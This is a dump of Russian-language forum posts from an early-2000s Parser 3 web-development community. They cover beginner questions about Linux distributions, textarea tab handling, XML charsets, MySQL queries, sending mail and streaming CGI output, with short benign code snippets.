"13683","[i]> Я больше люблю результат, а не процесс.[/i]\
Без процесса не будет результата\
\
[i]> Очень не хочется изобретать велосипед, когда многие уже в космос летают космические корабли.\
\
Ведь прогресс основан как раз не на придумывании всего сначала, а улучшении того, что давно создали твои предшественники.\
Или я не прав?[/i]\
Не прав. Если вы не умеете управлять велосипедом, то летать в космос это авантюра.\
\
[i]> (с) - Все права принадлежат мне. Копирование строго запрещено и преследуется по закону.[/i]\
Подайте в суд."
"13684","Люди, хочу купить Linux или FreeBSD для разработок скриптов и работы с графикой, но не знаю какой, что порекомендуете?"
"13685","Для работы с графикой очень пойдет Darwin, который внутри MacOSX ;-)\
(Компьютер придется покупать впридачу)"
"13686","Я бы с удовольствием купил бы мак, но не сейчас:)"
"13688","Бери ASPLinux - это клон RedHat, но с качественной русской локализацией и документацией на русском же. Брать с asplinux.ru или покупать за 500 рэ на куче дисков в большой красивой коробке ))"
"13689","Меня наверняка будут пинать преверженцы *nix (и с некоторой частью их доводов я соглашусь), но для Win/MacOS существует огромное количество уже \"стандартных\" графических пакетов. Возможно, если увижу пакет программ для Linux, который будет столь же удобен, что и линейка от Adobe, я и променяю домашний Win, но пока я такого не видел (gimp не предлагать - лично мне не нравится ;-))..."
"13690","А инженерное название у него есть?\
Я имею ввиду версию и т.д.\
И где он продается на лицензии в Москве?"
"13691","А что адобе не клипает свои проги для него?"
"13692","http://www.asplinux.ru/ru/product73/\
\
http://market.yandex.ru/search.xml?hid=91139&text=ASPLinux&how=price&asc=1&pricefrom=240&priceto=610"
"13694","...зараза - не могу догнать...\
\
Короче, такое дело : \
\
Все знают, что при нажатии клавиши 'Tab' в теле документа, focus перемещается на следующий в дереве документа элемент. Удобно.\
\
Только когда я хочу ввести в [b]textarea[/b] знак табуляции (в браузере, при заполнении формы), мне эта фича ну совсем не к стати!\
\
Перерыл все знакомые javascript-ресурсы - про перехватывание \"таб'a\" ни слова.\
\
Никто ничего не посоветует?!\
\
P.S. Варианты с командами форматирования не предлагать."
"13695","Вам это надо? если все заключается в создании таблицы из того, что пришло из текстарии, то проще потом скриптом позаменять"
"13696","интересно создать ВАП сервер со всякими там приблудами\
кто - нибудь может посоветовать ПО (сам сервер, а то я кроме апача и ИИС-а ничего в жизни не юзал) для линукс/юникс"
"13697","http://dklab.ru/chicken/web/ - специально для Вас создан проект. Вам ответил zzz еще в самом начале урлом http://dklab.ru \
\
Устанавливайте локально и парсерьте, если платформа Windows.\
\
\
\
"
"13698","Я пробовал возиться в Linux (FreeBSD, BeOS и еще во всяком там...)  но Гимп меня не устроил совсем. А это единственная (насколько я знаю) серьезная рисовалка для *никса. Поставь второй системой какой-нить хороший дистрибутив и попробуй месяцок с ним поработать. Сам поймешь, нужен ли он тебе.\
\
PS: Хочу мааааккк!! :)))\
PPS: Ну вы тут сами оффтоп устроили.... :)"
"13699","Не надо лохмаптить бабушку - докупи оперативки и юзай виртуальную машину(WMWARE or virual PC)\
Скорее винда станет юниксом, чем линукс станет ей реальной заменой :-). А кто орет МАЗДАЙ, у того нет головы."
"13700","...просто - надо!\
\
То что вы предлагаете, это как раз таки вариант с командами форматирования. Метод тоже \"ничего\", но это лишняя нагрузка юзеру. Если все перевсти на команды замены, то юзер кончится запоминать все эти команды!...\
\
И нужно это не только для создания таблиц, но и кода Парсер в общем.\
\
Надо бы найти решение..."
"13701","и не напрягай юзеров.\
пользуйся регэкспами.\
и, если конечно не затруднит, то было бы интересно узнать поточнее, для каких целей, тогда было бы о чем думать.\
Если хочешь, чтобы пользователь расчитывал траекторию полета ракеты на луну и сам об этом не подозревал, то это вряд ли взлетит\
"
"13702","Че напали на человека! (хм... мы медведи... мы медведи... :)\
\
#Сходи http://www.titov.pp.ru/forum/ и качай pforum_020623.zip\
\
Интересно, чего это Титов скромно молчит... :)"
"13703","не работает блок проверяющий XML. ос - FreeBSD.\
на windows все работает, может быть на FreeBSD нужно доустанавливать xml-библиотеки отдельно?\
\
_test.html для xml-блока выдает следующее:\
>\
\
Создание объекта типа xdoc:\
что-то не срослось с XML-ем... Возможно из-за кодировок... \
Сообщение об ошибке: \
\
Entity: line 1: error: Blank needed here ??????????????????????????????????????????????????????????????????????????????? ^ Entity: line 1: error: parsing XML declaration: '?>' expected ??????????????????????????????????????????????????????????????????????????????? ^ Entity: line 1: error: Start tag expected, '<' not found ??????????????????????????????????????????????????????????????????????????????? ^ \
create "
"13704","Лезь в доку, лезь в доку... Я просто пытаюсь со всем этим разобраться, причём пытаюсь сначала сделать это самостоятельно.\
Задал вопрос про авторизацию - сразу отсылают к доке по апачи. Да я ради собственного интереса пытаюсь сделать всё нестандартным способом, хочу реализовать эту задачу самостоятельно, а так как сперва хочу разобраться с парсером то на нем и собираю. И что-то получается. А когда получается ставлю новую задачу. Хочется сделать что-то своё, чтобы въехать. А что касается конкретно апачи, то дайдёт и до него - полезу в доку!"
"13705","Ради бога..."
"13707","Написалось, на что смотреть - кодировки.\
\
Если бы ты недоустановил библиотеки, то было-бы иное сообщение об ошибке.\
\
Что написано в $response:charset и $request:charset ?\
Совпадает-ли то, что написано с тем, что реально в файликах?"
"13708","...пользуйтесь на здоровье..:)\
[code]\
<script language=javascript>\
<!--\
\
function markSelection ( txtObj ) {\
 if ( txtObj.createTextRange ) {\
   txtObj.caretPos = document.selection.createRange().duplicate();\
   isSelected = true;\
 }\
}\
\
function insertTag ( txtName, tag, enclose ) {\
 var closeTag = tag;\
 if ( enclose ) {\
   var attribSplit = tag.indexOf ( ' ' );\
   if ( tag.indexOf ( ' ' ) > -1 )\
     closeTag = tag.substring ( 0, attribSplit );\
 }\
 if ( isSelected ) {\
   var txtObj = eval ( \"document.forms[0].\" + txtName );\
   if (txtObj.createTextRange && txtObj.caretPos) {\
     var caretPos = txtObj.caretPos;\
     caretPos.text = ( ( enclose ) ? \"<\"+tag+\">\"+caretPos.text+\"</\"+closeTag+\">\" : \"<\"+tag+\">\"+caretPos.text );\
     markSelection ( txtObj );\
     if ( txtObj.caretPos.text=='' ) {\
       isSelected=false;\
    txtObj.focus();\
     }\
   }\
 } else {\
   // placeholder for loss of focus handler\
 }\
}\
\
//-->\
</script>\
\
<form>\
<textarea name=\"tsttxt\" ONSELECT=\"markSelection(this);\" ONCLICK=\"markSelection(this);\" ONKEYUP=\"markSelection(this);\">\
</textarea>\
<input type=\"button\" value=\"BOLD\" onClick=\"insertTag ( 'tsttxt', 'b', true )\">\
<input type=\"button\" value=\"PARAGRAPH\" onClick=\"insertTag ( 'tsttxt', 'p', false )\">\
</form>\
[/code]\
\
работает, правда, кажется, только под MSIE, но мне пока хватило. Позже переделаю..."
"13709","exception здесь: $document[^xdoc::create{$xml_txt}]\
\
> Что написано в $response:charset и $request:charset ?\
 и там и там windows-1251\
\
>Совпадает-ли то, что написано с тем, что реально в файликах?\
_test.html тоже в windows-1251\
"
"13710","В большинстве случаев подходит Ctrl+Tab, но только не в браузерах: IE переходит к адресной строке и обратно, а Opera переключается на следующее дочернее окно. :-("
"13711","По каким причинам Может нечитать из мюскуела\
\
^connect[mysql://npopioner:hsn82zkr@localhost/npopioner]{\
		$sql_table[^table::sql{SELECT * FROM `table` WHERE `tip`='О компании'}]\
	}\
\
$sql_table.text\
\
Ошибок некаких невыдаёт. т.е. libparser3mysql.so установлен\
Табличка точно непустая есил в мюскуеладмине вводишь етот запрос то выдает значения. Идома у миня етот скрипт работает а на хостинг загрузил и непашет нихрена:((.\
\
Иззачего ета мождет быть?\
"
"13712","Потому, что там ошибка есть, которая при некоторых обстоятельствах может приводить к некорректному выводу тредов."
"13713","Cпасибо за ссылку на Кавычкер, но я имел ввиду другой немного подход:\
Уменя есть (ладно, правилнее сказать будет когда-нить:-)) контент-менежер и в нем форма предположим с первой главой сверхнового завета. В форме (<textarea>) я дописываю (или вставляю из буфера) эту главу - и по submit-у скрипт АВТОМАТИЧЕСКИ сначала типаграфил весь текст, а уже потом писалв нужный файл на серваке. \
\
Интересно, что по этому поводу думают \"отцы-основатели\" типографа? Или это такой у меня \"маниакальный брэд\" и воообще оффтопик?\
\
Если оффтопик - то сорри, за остальное спасибо!"
"13714","действительно кодировки.\
вот этот пример из справки тоже не работает:\
\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
text\
</document>}] \
$response:body[^document.string[]]\
\
а если задать \
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\" ?> \
то работает.\
"
"13716","Спецификации по XSLT и XPath начинаются именно с примеров. Остальные названные вами, насколько я помню, тоже, но под рукой их нет и более точно сказать не могу."
"13719","Вот те раз! Можно по-точнее: при каких условиях и что за ошибка?"
"13720",", согласен. значит назначение этого форума - иное. здесь на вопросы отвечают чаще админы сайта (они получают на email все новые), и я могу быть уверен что мне ответят на сообщение, которое  добавляю не в корень, а в тему, начатаю ранее. "
"13721","2agat - может, у него в таблице БД есть поле text?"
"13722","по-вашему, надо посмотреть схему мин только когда не получается, а до того искать свой путь?"
"13723","...спутал $ c ^...\
\
Приношу свои извинения...\
\
По делу : писать 'SELECT * ...' категорически не советуется. Как вы узнаете список своих столбцов? Рисковано..."
"13724","Вы хотите, чтобы \"скрипт АВТОМАТИЧЕСКИ сначала типаграфил весь текст, а уже потом писалв нужный файл на серваке\". \
Не знаю, \"что же думает по этому поводу многоуважаемый ПАФ\", но я ведь и писал, чтобы вы заглянули \"внутрь\" Кавычкера - там всё сделано на простом и понятном HTML-е и JavaScript. К примеру, там написаны regexp'ы, которые, IMHO (т.е. по моему мнению), не составляет труда переписать в скрипт на Parser. Этот-то скрипт и будет автоматически \"типаграфить\". Можно, например, поставить вызов получившегося скрипта в @postprocess[] и тогда весь текст, выводимый на вашем сайте, будет соответствовать правилам русской типографики.\
\
В первую очередь, конечно, стоит прогнать через этот скрипт ваши собственные послания :)."
"13725","я к типографу отношения не имею."
"13726","все работает. ошибка была в windows-1251.cfg - файл имел размер 0 байт. тему можно удалять..."
"13727","Всем привет!\
\
Пишу вот так:\
[code]\
$var[test_string]\
^mail:send[\
$.from[from <xxx@xxx.ru>]\
$.to[yyy <yyy@yyy.ru>]\
$.subject[lalala]\
$.text[$var]\
$.html{\
$var\
}\
[/code]\
\
В итоге переменная var не видится, и как следствие, не отсылается.\
\
Даже, если сделать вот так:\
[code]\
^mail:send[\
$.from[from <xxx@xxx.ru>]\
$.to[yyy <yyy@yyy.ru>]\
$.subject[lalala]\
$.text[$var]\
$.html{\
$var[test_string]\
$var\
}\
[/code]\
\
То $var всё равно не видится.\
Догадываюсь, что по спецификации языка так оно и должно быть, но по человеческой логике надо как-то передать переменную в тело письма!\
Как быть?"
"13728","Не знаю, при каких условиях. Количество открывающих и закрывающих <ul> не совпадает."
"13730","Если бы я налепил что-нибудь и тут же выложил на общее пользование, то сравнение с минным полем тут допустимо, но делать этого, без полной уверенности в надёжности я не собираюсь."
"13731","parser при чтении из html файла все <теги> заменяет на &gt и &lt. подскажите, как сделать, чтобы вставлялись скобки."
"13733","ну вот...\
я-то просил полностью без ошибок!\
:-)"
"13735","[b]PAF[/b]\
Хм... Пожалуйста.\
Только банально всё до жути :)\
Надо было просто усиленней поискать, и фак покопать.\
\
Вот кусок кода:\
\
^connect[mysql://guest:@localhost/base]{ \
$sect[^string:sql{SELECT `comment` FROM `sect` WHERE 1 AND id = 1}] \
}\
$output[[b]^untaint[/b]{$sect}]\
<table border=\"0\" cellspacing=\"25\" cellpadding=\"2\">\
  <tr> \
    <td rowspan=\"2\"  width=\"15\"></td>\
    <td width=\"128\"></td>\
    <td></td>\
  </tr>\
  <tr> \
    <td valign=\"top\" colspan=\"2\">$output</td>\
  </tr>\
</table>\
\
Соответственно, в ячейке таблицы базы лежит отформатированный html текст (<br> - перевод строки и т.п.).\
Если извлекаем таблицу, а не строку - untaint построчно при выводе, или через временные переменные.\
Пока этого вполне достаточно, хотя не очень наглядно вместо простого текста в базу вводить код.\
По сему, возможно будет модернизация до интерпретации форматирования текста путём замены непечатных символов на тэги при извлечении."
"13736","Без процесса есть результат. Я не автомеханик, но я умею ездить на машине, и мне это не нужно. Но вот машину мне никто не даст, самому надо собирать, из подручных материалов.\
\
К тому же, готовым примером форума можно не только воспользоваться, но и поучиться на нём, верно?\
\
То, что мне пока доступно - это выучить все конструкции парсера, все алгоритмы, и начать делать что-то своё.\
\
Зачем? Зачем мне вообще нужно изучать парсер, когда мне нужно не ЗНАТЬ ПАРСЕР, а мне нужен РАБОТАЮЩИЙ ФОРУМ?"
"13737","Мне кажется, я понял, о чем речь. Ты хочешь отсылать свои данные скрипту на десигн.ру и полученный ответ совать в базу (или куда там?).\
Идея очень хороша, и мне лично нравится, где-нибудь у себя сделаю так же. А вот и метод: нужно посмотреть стартовую страничку типографа и выяснить, через какие переменные передается текст, из своего скрипта послать запрос, а из полученного ответа матчем вырезать нужный кусок (там ведь, кажется, в текстарее все возвращается), а дальше твое дело, куда это девать, в базу или в файл.\
У меня есть статья на подобную тему, правда она на ПХП, но я думаю, переписать ее не составляет труда, все нужные средства в парсере есть.\
Если нужна, то я могу выслать ее на мейл."
"13738","Недавно у меня была фича: libparser3mysql.so скомпилированный под RedHat будучи помещен на Slackware обрабатывал SELECT со странной самобытностью. Так что может что с версиями?"
"13739","... касающиеся алгоритмов, сложных ситуаций и т.п. проблем бы не было. Но от Вас второй день поступают примитивные [!!!] вопросы, ответы на которые содержатся в документации по Парсеру, веб-серверу, базе данных и пр. инструментов. \
\
Так, что же Вы хотите еще услышать в свой адрес?"
"13740","Можете сказать что быстрее выполняется: Parser или PHP"
"13744","имеется:\
<br>\
$file[^file::load[test.html]] \
$file.text\
<br>\
\
test.html:\
<b>That's me!</b>\
\
Результат:\
<br>\
&lt;b&gt;That's me!&lt;/b&gt;\
<br>\
\
--------------\
как сделать, чтобы файл выводился в исходном виде?"
"13745","Именно это я и имел ввиду! Ведь еже ли по нескольку десятку раз копи-пэйст делать, то может и надоесть :-). На самом деле меня просто немного заела эта тема с собственной типографико-грамотностью, да к сожалению не я один грешен.-(\
\
2 slash: С превеликой благодарностью  получу от вас письмо на anonym@mailru.com\
\
2 PAF Каюсь, незрячими глазами глядел на http://www.artlebedev.ru/tools/typograf/authors/!\
\
2 vadbars: Спасибо за совет и ссылку, сейчас сижу и разбираюсь с кавычкером. Проблема только в том, что худой программер из меня, будь моя воля, я бы на парсере ПИСАЛ пером Вакомовским :-))! \
«В первую очередь, конечно, стоит прогнать через этот скрипт ваши собственные послания :).»  Ну тут я обоими руками и вакомом за! Еще бы чтоб правописание проверял! :-))) \
"
"13747","Уважаемые! Есть вопрос:\
1. На сайте есть 2 типа страниц (точнее оформления оных): обычная версия и печатная.\
2. На печатную страницу попасть можно путем выбора ссылки вида [code]/lnik/?printed=1[/code]. Яндекс при индексировании данную ссылку вносит в базу и при поиске пользователь видет 2 страницы с одинаковым содержимым, выдаваемые за разные.\
3. Вопрос - как перехитрить Яндекс и сделать это корректно?\
4. Имеет ли смысл сделать печатную версию страницы через [code]<a href=javascript:void(0) onClick=\"this.location.href....\">[/code]\
5. Или анализировать UserAgent'а и выдавать 404, если Яндекс?\
\
Заранее спасибо."
"13749","надо в форме вводить(а потом вывести на странице) текст ввиде списка.\
или проще редакторам сказать про теги <ul> И <li>?"
"13750","[ul]\
первая строка списка\
вторая строка списка\
[/ul]\
\
match-ем будешь проверять и выискивать внутри [ul][/ul] переход на новую строку \\n"
"13751","> [i]Без процесса есть результат. Я не автомеханик, но я умею ездить на машине, и мне это не нужно. Но вот машину мне никто не даст, самому надо собирать, из подручных материалов.[/i]\
Машины, что как и форумы являются интеллектуальной собственностью и где это вы видели, что вам сейчас возьмут и просто так дадут тот или иной продукт, на который были потрачены те или иные средства.\
\
> [i]К тому же, готовым примером форума можно не только воспользоваться, но и поучиться на нём, верно?[/i]\
не верно. Вам выложили пример на котором можно поучиться, да нерабочий и правильно что не рабочий, и там даже внятно растолковано почему не рабочий.\
Поучиться на исходниках не имея представление о том, что они значат, хм... телепатия это конечно хорошо, но...\
\
> [i]То, что мне пока доступно - это выучить все конструкции парсера, все алгоритмы, и начать делать что-то своё.[/i]\
Ага, так, так, и только так.\
\
> [i]Зачем? Зачем мне вообще нужно изучать парсер, когда мне нужно не ЗНАТЬ ПАРСЕР, а мне нужен РАБОТАЮЩИЙ ФОРУМ?[/i]\
Зачем вам форум на парсере, если вы не знаете парсер 8-)\
\
ЗЫ: Мне надоело учить вас жизни. Вопрос закрыт."
"13752","А вы не слыхали, байку, про то, как в корпорации Microsoft была пьянка 95, потом пьянка 98, потом ... и т.д.\
\
Ну на трезвую голову такого не сделать, ну не как!!!\
\
PS: почитайте вот этот тред например http://parser.ru/forum/?id=12635"
"13753","... отсылаются также и переменные [code]$form:variable[/code]\
\
Как я понял, проблема в том, что $.html{} имеет параметр в фигурных скобках, то есть как написано в мануале \"фрагмент кода, который будет обработан в дальнейшем\"...\
То есть это как бы не баг, это фича. Но как побороть?"
"13754","я забыл, в какой версии это поправил, если вам интересно, посмотрите в Changelog [в архиве с исходниками].\
\
вы какую версию используете?"
"13755","Всё понял... Я-то думал - зачен нужны обновления! ;-)\
Использую 3.0.0005, но сейчас исправлюсь.\
Большое спасибо."
"13756","воспользуйтесь поиском по форуму."
"13757","Про этот способ я знал. \
Хотелось бы просто, чтобы не приходилось сохранять. Это немного неудобно из-за того что при одновременных обращениях два процесса будут пытаться писать один и тот же файл. А при таких раскладах прийдется вводить кукизы, номера сессий, разные имена файлов и пр."
"13758","1.\
например, обратите внимание на формат файла, который пишет MSIE, если его попросить сделать «Web Archive, single file (.mht)».\
\
вы можете создать такую страницу, и многие browser'ы это успешно покажут.\
\
2.\
однако, очевидно, проще всего: сделать большое случайное число, и записать файл под этим именем.\
тут важно\
а) время от времени чистить каталог с такими картинками; [попросить администратора настроить, он умеет]\
б) большое случайное нужно, чтобы чтобы один пользователь не подсмотрел картинку другого пользователя.\
в) для той же цели нужно запретить просмотр каталога с картинками по http://, чему есть разные способы, простейший из которых: положить в этот каталог файл index.html нулевого размера."
"13759","Как вы думаете почему не особенно активно происходит:\
- разработка классов для Парсера третими разработчиками\
- написание полезных скриптов с открытыми исходниками\
- прочие вещи, которые улучшают Парсер или повышают его популярность ?"
"13760","[code]\
<form method=\"POST\" action=\"$reqsuest:uri\" onsubmit=\"return checkForm(this)\">\
Ф.И.О.<br>\
<input type=\"text\" name=\"lfame\" id=\"lfname\" size=\"50\"><br>\
E-mail:<br>\
<input type=\"text\" name=\"email\" id=\"email\" size=\"50\"><br>\
Вопрос:<br>\
<textarea rows=\"5\" cols=\"38\" name=\"question\" id=\"question\">\
</textarea><br>\
<input type=\"submit\" value=\"Послать\" name=\"posted\" style=\"margin:5 0\">\
</form>\
#всегда недефайнед (любое поле)\
^if(def $form:lfname){\
$response:location[$request:uri]\
}\
[/code]\
и если я вместо if(){} пишу например $response:location[/about] то идёт ошибка(когда как ,internal server error или the page cannot be...). но если пишу $response:location[http://www.dsds.ds] то работает.\
 я интернал и екстаернал редиректы не использую, просто во время отладки натолкнулся на токое и не понял."
"13764","При установке делаю вот такой configure:\
[code]./configure --disable-safe-mode --with-mysql-client=/usr/local/mysql/lib/mysql/libmysqlclient.so --prefix=/usr/local/parser\
[/code]\
\
Всё проходит гладко,\
дальше делаю [code]make[/code] и он выдает следующее:\
\
[code]\
Making all in main\
make[2]: Entering directory `/usr/src/parser-3.0.0007/src/main'\
make[2]: *** No rule to make target `pa_common.@OBJEXT@', needed by `libmain.a'.  Stop.\
make[2]: Leaving directory `/usr/src/parser-3.0.0007/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/usr/src/parser-3.0.0007/src'\
make: *** [all-recursive] Error 1\
[/code]\
\
Как лечить?\
Система Linux RedHat 6.2"
"13765","прочтите что-нибудь про http протокол.\
и загляните в журнал ошибок веб-сервера, уверен, ответ там."
"13766","к сожалению, в дистрибутив исходников седьмой версии вкралась ошибка, в download есть другой файл.\
\
или в CVS."
"13767","Этот вариант я уже обдумывал. Он действительно неплох.\
Просто хотел сказать, что неплохо бы к самому парсеоу прикрутить возможность вывода объекта класса image в html без дополнительных манипуляций с диском.\
\
Мда. Пока писал, понял что сказал 8-(\
Да. Наверное все-таки вариант с filename+random_ID наиболее оптимальный. \
\
Истина рождается в споре.\
\
Всем спасибо большое. Особенно комманде разработчиков.\
-- \
Михей"
"13771","Возможно в БД всё лежит в KOI8, а в коде используется WINDOWS-1251. При этом, когда вы пишите запрос в консоли, используете KOI8-R и всё работает.\
\
Попробуйте убрать WHERE..."
"13772","Для себя я это тут понял, рекомендую :)"
"13773","в таблице(в MySQL) есть поле id, хочу достать и отсортировать по нему:\
select id, fio, ph_number from people order by id asc\
\
но вылазит фигня какая-то, никто не знает что это?\
^people.sort($people.id)[asc] не помогает :("
"13775","можно написать <img src=\"my_super_img_generator.html?параметры\"/> а в этом my_super_img_generator.html создавать (загружать) нужную тебе картинку и отдавать в $response:body\
\
однако этот вариант не всегда хорош. очень часто картинки совершенно не нужно генерить постоянно (это не быстро), а проще и лучше действительно сохранять на диске (кешировать). и можно в my_super_img_generator.html организовать подобное кеширование (например картинка, у которой имя имеет хитрое значение в зависимости от входных параметров ищется на диске, если не находится - генерится и сохраняется. если находится, то смотрится ее дата/время, и если они не очень старые - то отдается готовая...)\
\
в общем простор для дейтельности огромный."
"13776","Добрый день!\
\
А будет ли когда-нибудь сабж? То-есть, заработает ли когда-нибудь Парсер вместе со 2-м Апачем?\
\
Спасибо."
"13778","можешь смело юзать, но только CGI, а не модуль Apache"
"13779","получается, что _default тоже попадает под foreach ?\
Вообще как-то слабо документировано это в доке, нельзя ли поподробнее ?"
"13780","А ещё лучше иметь какую-нибудь функцию, которая отдавала бы всё, что получилось на момент её вызова."
"13781","Можно ли на Parser отправить письмо так, чтобы внутри письма не было информации об отправителе? Ее т.е. как-то удалять. Это видимо нужно залезть в протокол почтовый, как он там назыввается SMTP? Про структуру HTTP я что-то читал. Там заголовок, тело.\
\
А что нельзя напрямую заносить новые значения в объект класса table? Только читать можно? А вот чтобы просто одному из полей текущей строки объекта класса table сменить значение нельзя? \
"
"13783","Вызвав $response:body[] я смогу создать тело ответа, могу в него что-нибудь дописать. Но я не могу (1) отдать законченый код, продолжить выполнение скрипта, перейти на (1) ...\
\
Немного обстрактно, но думаю, что будет понятно."
"13784","> [i]Можно ли на Parser отправить письмо так, чтобы внутри письма не было информации об отправителе? Ее т.е. как-то удалять. Это видимо нужно залезть в протокол почтовый, как он там назыввается SMTP? Про структуру HTTP я что-то читал. Там заголовок, тело.[/i]\
Нет. Или я этого не знаю:)\
\
> [i]А что нельзя напрямую заносить новые значения в объект класса table? Только читать можно? А вот чтобы просто одному из полей текущей строки объекта класса table сменить значение нельзя?[/i]\
Таблицу можно только перезаписывать полностью, хотя я сам не понимаю, в Parser2 была команда UPDATE в из P3 её почему-то убрали, но если вам очень надо, то попробуйте написать такой класс сомостоятельно. Я представляю себе это так:\
\
[b]какой-нибудь класс типа ^UPDATE_TABLE[\"FILE_NAME\",\"id=123\",\"asd=123\"][/b]\
\
А там будет производиться:\
1. Загрузка таблицы\
2. Изменение значений по алгаритму, который вы будете писать сами:)\
3. Сохранение всего этого обратно\
\
Я сам над написанием такой вещи подумываю, но сейчас это не требуется.\
"
"13785","...?! Вы как себе это представляете?! \
\
Это что-то типа : Парсер считает блок, отдает его браузеру, потом считает еще блок, шлет его браузеру, а он, значит, говорит : -Ааа, это еще кусочек от странички? Ну-ка давай его сюда, щас мы его залепим!...???\
\
Подозреваю вас в непонимании процесса работы clien-server..."
"13786","На самом деле это можно сделать в принципе, но хотелось бы нв Парсере. На C++ это (отправка контента по частям) сделать не сложно. Проблема в том, что делать нужно не только это. Нужно строить странички (шаблоны там всякие). Много всего чтоже теперь только для этого целый процессор писать?\
\
Кстати вы наверное замечали, что когда грузится достаточно большая страница, то видно как часть её появляется, а потом следующая и так далее. Или Апачь работает не по принципу клиент-сервер? :)"
"13787","...страничка отдается по частям? Я - впервые слышу!\
\
Обычно сначала формируются, заголовки, потом тело документа, и после этого все полученное высылается request'еру.\
\
А то, что вы иногда видите на экране частичную загрузку, так это ни что иное, как объем, или связь, но ни как не частичность...\
\
P.S. Почитайте про HTTP-protocol..."
"13788","> Нет. Или я этого не знаю:)\
\
Ну дык тогда какого хрена отвечаешь?\
\
> в Parser2 была команда UPDATE\
\
Не было такой команды в Parser 2, ты бы не поленился сначала в доку по нему залезть, а потом утверждать http://parser2.parser.ru/docs/operators06.html\
\
И сам ты такую вещь, о которой говоришь не напишешь :)"
"13789","...\
\
Вот, пользуйтесь, щас написал : \
[code]\
@update_table[table_in;row;field;old_value;new_value][table_in;row;field;old_value;new_value;new_table;ct]\
$new_table[^table_in.select(0)]]\
$ct[^table_in.columns[]]\
^table_in.menu{\
	^new_table.append{^ct.menu{^if($ct.column eq \"$field\" && $table_in.[$ct.column] eq \"$old_value\" && ^table_in.line[] eq $row){$new_value}{$table_in.[$ct.column]}}[	]}\
}\
$result[$new_table]\
[/code]"
"13790","просто не более чем отрисовка полученного контента браузером.\
\
т.е. HTTP поток, который получает браузер отображается по мере поступления, части которые он может отобразить сразу, так и отображаются. А, к примеру, <table> будет ждать в потоке поступления </table> и не отобразится пока не получит. Потому что гладиолус :)"
"13791","я уже наступил на эти грабли, - метод menu ставит разделители если значения непустые. Выход - надо копировать строками. Вот как это делал я: http://www.egoroff.spb.ru/portfolio/21.html - смотреть второй пример кода."
"13792","Но суть от этого не меняется. Я утверждаю, что контент может передаваться по частям - факт."
"13793","..., то выяснится, что там и куски файлов брать можно.\
\
На самом деле я не спрашиваю \"возможно ли это в принципе\" (это я знаю, даже в данный момент смотрб на подобное), мне интересно можно ли это сделать средствами Парсера."
"13794","...ставить их не разделителем .menu{}[        ], а сразу после поля таблицы : .menu{$field        }\
\
Должно работать..."
"13795","...приниматься частями, но передать его частями вы не сможете - таковы стандарты...\
\
Если вам известен алгоритм передачи, что ж вы его не реализуете?!"
"13796","Тебе надо собирать страницы из шаблонов(или шаблон из кусков) и потом их отдавать или тебе на самом деле надо отдавать различные куски ОДНОГО файла в различные моменты времени?"
"13797","^table::sql{SELECT что нужно FROM `таблица` WHERE 1 ORDER BY `id` ASC}"
"13798","Господа, проблемка.\
Помогите пожалуйста. Поиск пролистал, кое-что есть, однако странная проблема.\
Нужно упорядочить по дате таблицу, полученную из БД.\
При простом .sort это делается некорректоно.\
Пробую преобразовать дату $dt[^date::create[$nv.date]].(для последующей замены в таблице) Парсер ругается при выводе $dt,\
 и еормально выводит лишь $dt.year.\
Что за проблема?\
Копирую строки из Руководства, даже при попытке задать такую переменную $new_after[^date::now(-3)] имею ошибку - contains illegal assignment attempt of date to date date, use constructor\
now."
"13799","почему не сделать это средствами самой БД ?"
"13800","Дело в том, что информация будет поступать не равномерно в реальном времени. Нужно выдавать информацию по мере её поступления."
"13801","храни дату в UNIXTIME - там точно сортировка и с помощью парсера и с помощью базы работать будет на \"раз\"\
про UNIXTIME читать в манах, а про то как преобразовывать к этому виду - маны БД + маны P^3(split|match) + голова + UltrAEdit(IMHO) :)"
"13802","интересно, string:sql достанет BLOB более 64Кб ?"
"13803","1. В / создаём файл test.shtml\
[code]\
<pre>\
<!--#include virtual=\"/cgi-bin/test.cgi\" -->\
</pre>\
[/code]\
\
2. В /cgi-bin/ Создаём test.cgi\
[code]\
#! /bin/bash\
echo \"Content-type: text/plain\"\
echo\
tail -f /usr/.../logs/access_log\
[/code]\
\
3. Устанавливаем атрибуты\
[code]\
bash-2.05$ chmod a+x ./test.cgi\
[/code]\
\
4. В броузере пишем http://hostname/test.shtml и видим кусок кода.\
\
Теперь если обратиться к какой-либо странице этого сайта это упадёт в лог и мгновенно покажется на этой страничке."
"13804","Немного неудачный пример. bash есть не везде, а там, где есть он необязательно в /bin.\
\
[code]\
#!/usr/local/bin/perl\
\
$|=1;\
\
print \"Content-type: text/plain\\n\\n\";\
print \"1\\n\";\
sleep(5);\
print \"2\\n\";\
sleep(5);\
print '3';\
[/code]"
"13807","... Server Side Includes. Фича эта обрабатывается на сервере, и никак не в браузере. Это метод компоновки, а не частичной передачи.\
\
Похоже, вам нужен способ сборки страницы из модулей (блоков, частей) на сервере, и полученный результат отослать request'еру.\
\
Если я ошибаюсь, подумайте об использовании DOM + XML... Примеры, если мне не изменяет память, смотрите на http://leechy.design.ru ."
"13808","Дело в том, что конечная таблица получается путём слияния четырех выборок из разных таблиц.\
\
Пардон, Парсер правильно сортирует и такую дату...\
Проверил .menu всей таблицы...\
Вот как умудрится вывести лишь последние x строк?\
\
Однако, конструктор даты не работает.\
\
[b]CODer[/b]\
Мда уж :)\
Проще разобраться с конструктором."
"13809","[quot]\
... Server Side Includes. Фича эта обрабатывается на сервере\
[/quot]\
\
именно. как и парсер.\
\
[quot]\
...и никак не в браузере.\
[/quot]\
\
в исходном вопросе я не заметил, чтобы речь шла про броузер. \
\
его пример заключался в том, что он показывал, как с помощью стандартных (ну... почти) вещей реализовать что-то подобное.\
\
[quot]\
Похоже, вам нужен способ сборки...\
[/quot]\
\
ему нужно то, что он и спросил - отдачу по частям в одном потоке. что-то сгенерили - отдали, еще что-то сгенерили - отдали дальше. как это будет отображаться - это совершенно другая песня.\
\
и объяснял он это долго упорно и подробно... что для тех кто понял - излишество."
"13810","Даже при получении выборки из многих таблиц можно сделать так:\
\
[code]\
SELECT table1.*, table2.* FROM table1 LEFT JOIN table2 WHERE where_clause ORDER BY table1.date, table2.id\
[/code]\
\
Вот... или я что-то не понимаю?"
"13812","Вот вы меня понимаете.\
\
Скажите, можно это сделать на Парсере? А если нет, то возможно стоит это включить в планы развития Парсера?"
